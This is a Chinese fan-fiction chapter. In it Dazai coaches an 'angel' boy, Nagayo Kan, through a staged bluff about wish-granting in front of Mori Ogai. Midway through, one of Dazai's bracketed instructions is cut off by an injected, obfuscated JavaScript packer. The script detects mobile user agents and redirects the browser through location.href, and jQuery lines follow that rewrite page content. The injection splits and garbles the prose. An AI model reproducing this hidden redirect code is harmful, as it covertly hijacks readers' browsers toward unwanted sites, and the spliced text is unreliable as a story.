“原来在森先生眼中,我是会和‘神明’成为朋友的那种人啊?”
太宰坐在木箱子上,慢悠悠地晃动着双腿。
见森鸥外盯着他,太宰便动作轻盈地从箱子上跳了下去,黑色的外套扬起利落的弧度。
长与涣则没有多余的动作,他的姿态轻松,双手撑在箱子上,嘴角依然保持着柔和而看似意味深长的笑容,似乎在饶有兴趣地观察着两人。
纯白无暇的天使光环静静地浮在他的头顶,彰显着其不凡。
在他的斜上方,屋顶铁皮有一圈破口。
细如蛛丝的雨水上空飘进来,时日不早,天色越发昏暗,也显得光环越发地明亮。
“连我抽屉里的药瓶,太宰君都能成为好朋友,那么,和‘神明’交朋友也不在话下吧。”森鸥外随口说。
他虽然在和太宰说话,但视线一直盯着长与涣。
“真难得,森先生这样夸奖我。”
太宰治灵巧又悠哉地走到了森的身边,转过身,与其一同看向长与涣。
“但你那时候可是直接揭穿说,‘太宰君并不是想和药瓶交朋友,只是想要里面的药片而已’,用这样的功利角度来看待我的哦?”
“好啦,那是多久以前的事情?你怎么还记得呢。”森像是无奈一般说。
“就是三天以前的事情。现在就老年痴呆的话,会不会太早了一点?”
太宰将手插进外套的口袋,森的外套对他而言太过宽大了。
口袋很深,他从里面摸出来一支笔式手电筒——森鸥外通常用这个来检查瞳孔对光的反射。
他百无聊赖地打开手电筒,开一下关一下,柔和的黄色光圈顿时在森鸥外的脸上一闪一闪。
森鸥外一摸口袋,发现自己的手电笔果然落在了太宰那个外套里。
“太宰君……”
森迎光眯了眯眼睛,叹了口气,正想说些什么,却听见了一道澄静的声音。
“我是为等待你,才留在这里的哦,鸥外阁下。”
森鸥外悚然一惊,也顾不得太宰治的打光行为了,将视线重新全部集中到“天使”身上。
实际上,即使在和太宰对话,他的注意力也没有从“天使”那里转移——
“天使”的存在感,没有人能够忽视……
话说啊,这孩子,好像说了什么不得了的东西。
什么叫做……“为了等待你,才留在这里”?
森鸥外并不知道……
其实……
长与涣也不知道自己在说什么。
【当你看见我打开手电,灯光闪烁两下后,就说出这句开场白。】
他只是按照太宰说的做。
【一定要保持松弛感。无论发生了什么,都要记得,语气要不疾不徐,笑容要轻松宁静,至于神情,要漫不经心,又带着一点‘感兴趣’……】
【演技太差了啦!不知道怎么演的话,就假装看见了一个最喜欢吃的食物,它变成了小精灵,正在你的眼前说话。】
喜欢吃的食物,唔,糖炒栗子……
想着想着,长与涣有点饿了。
他的思绪开始游移,之前的红薯干并没能填饱他的肚子。
不过河神说,装模作样五分钟,就能吃饱喝足五十年——
“等待我?”
森鸥外选择将对方的话语重复,套取更多信息。
“是呢,鸥外阁下,有着很强烈的祈愿的心。”
长与涣眯起眼睛笑起来。
他想着香喷喷、热乎乎的糖炒栗子。
纤长的眼睫扇动着,长与涣的心中哼起路过居酒屋时听见的民谣,轻而散漫地晃着脑袋,向左偏一偏,再向右偏一偏,光环也随着他的动作微微地摇晃。
那饱满的浅色的嘴唇,弧度弯曲得很美丽,已逐渐干燥的蓬软的头发,在光环下闪着月亮一样的光。
森鸥外想到犬科生物,确切地说,某种雪地中的狐狸。
森没有注意到,旁边的太宰已经关上了手电,一声不吭地移开了视线。
他的确让长与涣放轻松,但也没让他这么松弛……
太宰的本意是,让长与涣伪装成那种神秘神圣又冷漠疏离的天使形象。
能拥有一个庇护所,也能对横滨起到一定的助益,但不会被森完全掌控。
不过现在这样,效果似乎也不错……
“所以,你想要的一切,我都可以给你哦。”
话语内容的跳跃幅度很大。
其实是长与涣忘记了台词。
关于太宰治分析的、那些能够对森鸥外造成“看透”效果,营造神秘人设的台词,他果然还是没能背下来。
只好根据“如果忘记台词,绝对不可以结结巴巴,无论如何也要圆回来”的原则,直接跳过了。
太宰治的眼神微妙,轻轻地扯了扯嘴角。
他看着长与涣,就像满分是卷面上限、而非他的上限的学神,为班上的倒数第一补课,看着对方坦然地在只有ABCD四个选项的选择题上,光荣地写下E。
“那么,代价是什么呢?”森鸥外问。
离奇的是,由于题目有谬误,写E也能得分。
虽然长与涣前言不搭后语,但森鸥外自发地理解了(太宰想通过长与涣传达的)一切,甚至填充了其中的逻辑……
他冷静地分析着眼前的少年。
“天使”的异能,可能是根据他人的执念,完成他人的心愿,并从中得到某种好处。
【他不会相信天上掉陷阱,很可能会谨慎地问起代价
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787254|190537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这时候,你先不要说话。你只需要保持笑容,盯着他看,然后等待几秒钟。】
【眼神要让他感觉到,你在待价而沽……不知道这个词是什么意思?嗯……你就当做他要用一块破石头换走你的防水外套,然而你知道,他根本换不走,也抢不走,他拿你没办法。是的,就是这种眼神。】
长与涣面带奇异的微笑,他注视着森鸥外。
太宰猜中他的异能,只用了不到十秒钟。
主要花费的时间,用在了确认其异能发动需要付出怎样的“代价”。
太宰本以为是“自伤”,后来发现不是,长与涣的代价是“自身的疼痛”。
他并不明白,为什么太宰让他在森鸥外面前,一定要坚持“自己能实现愿望,但会让他人付出惨痛的代价”。
且绝对不能让他人发现,“只要控制住长与涣并伤害他,就能实现愿望”的真相。
明明他呼唤愿望工具,别人不用付出任何代价,只要他自己忍着点痛就好了呀。
背后的原理,长与涣的脑袋无法深刻理解。
但他人对自己的好坏,长与涣也能隐约有所感觉,他懵懵懂懂地意识到,太宰在保护自己。
照着太宰的话,如此注视了数秒后,他才缓缓开口:
“愿望的代价,与你的愿望,在你的心中是等价的。”
“可以说得具体一点吗?”森鸥外若有所思。
他在认真地思考如何利用长与涣的能力。
付出一定的代价就能实现愿望,但是,“代价”究竟是用什么来衡量?
人的主观意愿?
森鸥外的这个问题,不在太宰事先准备的范围内。
但是没关系。
太宰随意地将双手插入了口袋。
【你看见我将双手插进口袋,你就说——】
“付出什么,就得到什么……这种事情是很容易理解的吧?”
长与涣轻轻伸出手,接住了从屋顶上空的破口飘下来的雨丝。
他的唇角微微地翘着,脸上却浮现着常人难以读懂的神情。
【在“看见奶油芝士饼干,但你知道那是梦境”的忧郁表情之后,你可以说出那句你想说的话了。不过,切记要保持优雅的微笑和轻松的语调,并且加上称谓——】
“我饿了。”长与涣用轻巧的语气说。
他浅笑着扭过头。
由于长与涣坐在木箱子上,比站立的二人稍微高一些,因此,他是用微微垂下的眼眸,神明居高临下俯瞰般的视线,重新看向森与太宰二人。
而后,他向地面上的两人摊开了右手,以一种相当理所当然的、仿佛本该如此的语气:
“鸥外阁下,你有充足的考虑愿望的时间。在那之前,我要吃香草布丁。”